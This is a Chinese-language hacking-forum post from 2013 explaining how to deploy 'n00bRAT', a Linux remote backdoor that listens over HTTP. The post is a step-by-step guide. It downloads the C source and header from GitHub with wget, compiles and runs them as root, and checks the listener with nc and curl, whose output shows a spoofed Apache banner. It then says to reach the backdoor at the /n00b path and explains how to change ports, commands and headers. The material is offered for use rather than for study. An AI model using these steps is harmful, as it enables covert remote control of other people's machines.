切换风格

Wizard Sky California Sunset glow Black Cloud Beige Dragon Lavender NewYear City Snow Flowers London
收藏本站XSS平台字符串转换jsfuck
389 LINUX HTTP传输版本的远程后门[复制链接]
发表于 2013-1-9 00:34:36 | 显示全部楼层 |!read_mode!
代码在这里 https://raw.github.com/abhishekkr/n00bRAT/master/ABK_n00bRAT.c


  1. [root@Centos ~]# wget https://raw.github.com/abhishekkr/n00bRAT/master/ABK_n00bRAT.c --no-check-certificate
复制代码
还需要这个东西


  1. [root@Centos ~]# wget https://raw.github.com/abhishekkr/n00bRAT/master/n00bRAT.h --no-check-certificate
复制代码
编译运行


  1. [root@Centos ~]# gcc -o http ABK_n00bRAT.c
  2. [root@Centos ~]# ./http
复制代码
查看本地监听
  1. [root@Centos ~]# nc -vv 127.0.0.1 80
  2. Connection to 127.0.0.1 80 port [tcp/http] succeeded!

  3. [root@Centos ~]# curl 127.0.0.1 -I
  4. HTTP/1.1 200 OK
  5. Date: Sat, 05 Dec 2009 19:59:14 GMT
  6. Server: Apache/2.2.4 (Unix) DAV/2 mod_python/3.3.1 Python/2.5.1 PHP/5.2.4
  7. mod_perl/2.0.4-dev Perl/v5.8.8
  8. Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT
  9. ETag: "34c4-2c-4c23b600"
  10. Accept-Ranges: bytes
  11. Content-Length: 44
  12. Connection: close
  13. Content-Type: text/html

  14. [root@Centos ~]#
复制代码


连接后门
直接打开是404 (IP:80)





需要加个n00b 没有斜杠 http://ip/n00b

进行操作



修改端口看n00bRAT.h 文件添加命令 修改HTTP头 HTTP代码等等看ABK_n00bRAT.c文件



附件: 你需要登录才可以下载或查看附件。没有帐号?加入Team
操千曲而后晓声,观千剑而后识器。

代码区

GMT+8, 2019-11-21 22:38

Powered by Discuz! X2

© 2001-2018 Comsenz Inc.

回顶部